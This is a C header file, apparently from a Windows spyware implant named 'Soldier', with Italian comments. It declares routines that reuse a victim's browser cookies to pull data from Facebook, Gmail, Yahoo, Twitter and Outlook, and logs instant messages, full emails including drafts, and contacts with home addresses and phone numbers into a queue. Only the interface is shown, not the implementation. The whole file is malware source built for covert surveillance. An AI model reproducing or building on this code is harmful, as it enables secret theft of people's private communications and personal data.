Soldier/social.h
#ifndef _SOCIAL_H
#define _SOCIAL_H
#include <Windows.h>
#pragma pack(1)
#define SOCIAL_ENTRY_COUNT 12
#define FACEBOOK_DOMAIN L"facebook.com" // FIXME array-izza!
#define GMAIL_DOMAIN L"mail.google.com"
#define YAHOO_DOMAIN L"yahoo.com"
#define TWITTER_DOMAIN L"twitter.com"
#define OUTLOOK_DOMAIN L"live.com"
#define GD_DOMAIN L"mail.google.com"
#define FACEBOOK_DOMAINA "facebook.com"
#define GMAIL_DOMAINA "mail.google.com"
#define YAHOO_DOMAINA "yahoo.com"
#define TWITTER_DOMAINA "twitter.com"
#define OUTLOOK_DOMAINA "live.com"
#define GD_DOMAINA "mail.google.com"
#ifndef _DEBUG
#define SLEEP_COOKIE 30 // In secondi
#else
#define SLEEP_COOKIE 10
#endif
#define SOCIAL_LONG_IDLE 20 // In multipli di SLEEP_COOKIE (10 minuti)
#define SOCIAL_SHORT_IDLE 4 // In multipli di SLEEP_COOKIE (2 minuti)
#define SOCIAL_REQUEST_SUCCESS 0
#define SOCIAL_REQUEST_BAD_COOKIE 1
#define SOCIAL_REQUEST_NETWORK_PROBLEM 2
#define SOCIAL_MAX_ACCOUNTS 500
#define SOCIAL_INVALID_TSTAMP 0xFFFFFFFF
#define SOCIAL_INVALID_MESSAGE_ID 0xFFFFFFFF
#define CHAT_PROGRAM_FACEBOOK 0x02
#define CHAT_PROGRAM_TWITTER 0x03
#define CHAT_PROGRAM_YAHOO 0x0F
#define CONTACTS_MYACCOUNT 0x80000000
#define CONTACT_SRC_OUTLOOK 1
#define CONTACT_SRC_SKYPE 2
#define CONTACT_SRC_FACEBOOK 3
#define CONTACT_SRC_TWITTER 4
#define CONTACT_SRC_GMAIL 5
#define CONTACT_SRC_YAHOO 0x0F
#define DEFAULT_MAX_MAIL_SIZE (1024*1000)
typedef DWORD (*SocialHandler_p)(LPSTR);
typedef struct
{
WCHAR strDomain[64];
DWORD dwIdle;
BOOL bWaitCookie;
BOOL bNewCookie;
SocialHandler_p fpRequestHandler;
} SOCIAL_ENTRY, *LPSOCIAL_ENTRY;
extern SOCIAL_ENTRY pSocialEntry[SOCIAL_ENTRY_COUNT];
typedef struct
{
CHAR strUser[48];
DWORD dwTimeLow;
DWORD dwTimeHi;
} SOCIAL_TIMESTAMPS, *LPSOCIAL_TIMESTAMPS;
extern SOCIAL_TIMESTAMPS pSocialTimeStamps[SOCIAL_MAX_ACCOUNTS];
typedef struct _SOCIAL_CONTACT_HEADER
{
DWORD dwSize;
DWORD dwVersion;
LONG lOid;
DWORD dwProgram;
DWORD dwFlags;
} SOCIAL_CONTACT_HEADER, *LSOCIAL_CONTACT_HEADER;
#define MAX_SOCIAL_QUEUE 5000
typedef struct
{
DWORD dwSize;
LPBYTE lpBuffer;
} SOCIAL_LOGS, *LPSOCIAL_LOGS;
extern SOCIAL_LOGS lpSocialLogs[MAX_SOCIAL_QUEUE];
extern DWORD dwSocialLogs;
typedef struct SOCIAL_MAIL_MESSSAGE_HEADER
{
DWORD dwVersionFlags; // flags for parsing serialized message
#define MAIL_FULL_BODY 0x00000001 // Ha catturato tutta la mail
#define MAIL_INCOMING 0x00000010
#define MAIL_OUTGOING 0x00000000
#define MAIL_DRAFT 0x00000100
DWORD dwFlags; // message flags
DWORD dwSize; // message size
FILETIME fDate; // data di ricezione approssimativa del messaggio
#define MAIL_GMAIL 0x00000000
#define MAIL_OUTLOOK 0x00000004
#define MAIL_YAHOO 0x00000006
DWORD dwProgram;
} SOCIAL_MAIL_MESSSAGE_HEADER, *LPSOCIAL_MAIL_MESSSAGE_HEADER;
#define MAPI_V3_0_PROTO 2012030601
VOID SocialMain();
BOOL IsInterestingDomainW(LPWSTR strDomain);
BOOL IsInterestingDomainA(LPSTR strDomain);
DWORD XmlHttpSocialRequest(
__in LPWSTR strHostName,
__in LPWSTR strHttpVerb,
__in LPWSTR strHttpRsrc,
__in DWORD dwPort,
__in LPBYTE *lpSendBuff,
__in DWORD dwSendBuffSize,
__out LPBYTE *lpRecvBuff,
__out DWORD *dwRespSize,
__in LPSTR strCookies,
__in LPWSTR strReferer);
DWORD HttpSocialRequest(
__in LPWSTR strHostName,
__in LPWSTR strHttpVerb,
__in LPWSTR strHttpRsrc,
__in DWORD dwPort,
__in LPBYTE *lpSendBuff,
__in DWORD dwSendBuffSize,
__out LPBYTE *lpRecvBuff,
__out DWORD *dwRespSize,
__in LPSTR strCookies);
BOOL SocialLoadTimeStamps();
BOOL SocialSaveTimeStamps();
DWORD SocialGetLastTimestamp(__in LPSTR strUser, __out LPDWORD dwHighPart);
VOID SocialSetLastTimestamp(__in LPSTR strUser, __in DWORD dwLowPart, __in DWORD dwHighPart);
UINT64 SocialGetLastMessageId(__in LPSTR strUser);
VOID SocialSetLastMessageId(__in LPSTR strUser, __in UINT64 messageId);
VOID SocialLogIMMessageA(
__in DWORD dwProgram,
__in LPSTR strPeers,
__in LPSTR strPeersId,
__in LPSTR strAuthor,
__in LPSTR strAuthorId,
__in LPSTR strBody,
__in struct tm *tStamp,
__in BOOL bIncoming);
VOID SocialLogIMMessageW(
__in DWORD dwProgram,
__in LPWSTR strPeers,
__in LPWSTR strPeersId,
__in LPWSTR strAuthor,
__in LPWSTR strAuthorId,
__in LPWSTR strBody,
__in struct tm *tStamp,
__in BOOL bIncoming);
VOID SocialLogContactW(
__in DWORD dwProgram,
__in LPWSTR strUserName,
__in LPWSTR strEmail,
__in LPWSTR strCompany,
__in LPWSTR strHomeAddr,
__in LPWSTR strOfficeAddr,
__in LPWSTR strOfficePhone,
__in LPWSTR strMobilePhone,
__in LPWSTR strHomePhone,
__in LPWSTR strScreenName,
__in LPWSTR strFacebookProfile,
__in DWORD dwFlags);
VOID SocialLogContactA(
__in DWORD dwProgram,
__in LPSTR strUserName,
__in LPSTR strEmail,
__in LPSTR strCompany,
__in LPSTR strHomeAddr,
__in LPSTR strOfficeAddr,
__in LPSTR strOfficePhone,
__in LPSTR strMobilePhone,
__in LPSTR strHomePhone,
__in LPSTR strScreenName,
__in LPSTR strFacebookProfile,
__in DWORD dwFlags);
VOID SocialLogMailFull(
__in DWORD dwProgram,
__in LPSTR lpBuffer,
__in DWORD dwBufferSize,
__in BOOL bIncoming,
__in BOOL bDraft);
VOID SocialDeleteTimeStamps();
DWORD HttpSocialRequest(
__in LPWSTR strHostName,
__in LPWSTR strHttpVerb,
__in LPWSTR strHttpRsrc,
__in LPWSTR strHeader,
__in DWORD dwPort,
__in LPBYTE lpSendBuff,
__in DWORD dwSendBuffSize,
__out LPBYTE *lpRecvBuff,
__out DWORD *dwRespSize,
__in LPSTR strCookies,
__in DWORD dwMaxSize=0);
#endif _SOCIAL_H